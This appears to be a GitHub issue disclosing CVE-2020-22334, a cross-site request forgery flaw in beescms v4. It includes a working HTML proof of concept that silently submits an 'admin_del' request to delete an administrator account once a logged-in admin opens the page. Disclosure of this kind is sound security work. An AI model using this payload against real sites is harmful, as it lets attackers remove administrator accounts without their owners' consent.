Headline
CVE-2020-22334: There is a CSRF vulnerability that can delete the administrator account · Issue #5 · source-trace/beescms
Cross Site Request Forgery (CSRF) vulnerability in beescms v4 allows attackers to delete the administrator account via crafted request to /admin/admin_admin.php.
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Comments
Assume that the site has a root account administrator privilege
After the administrator logged in, open the following one page
POC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://172.20.10.4/admin/admin_admin.php">
<input type="hidden" name="action" value="admin_del" />
<input type="hidden" name="id" value="15" />
<input type="hidden" name="nav" value="main" />
<input type="hidden" name="admin_p_nav" value="main_info" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
http://172.20.10.4/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user
1 participant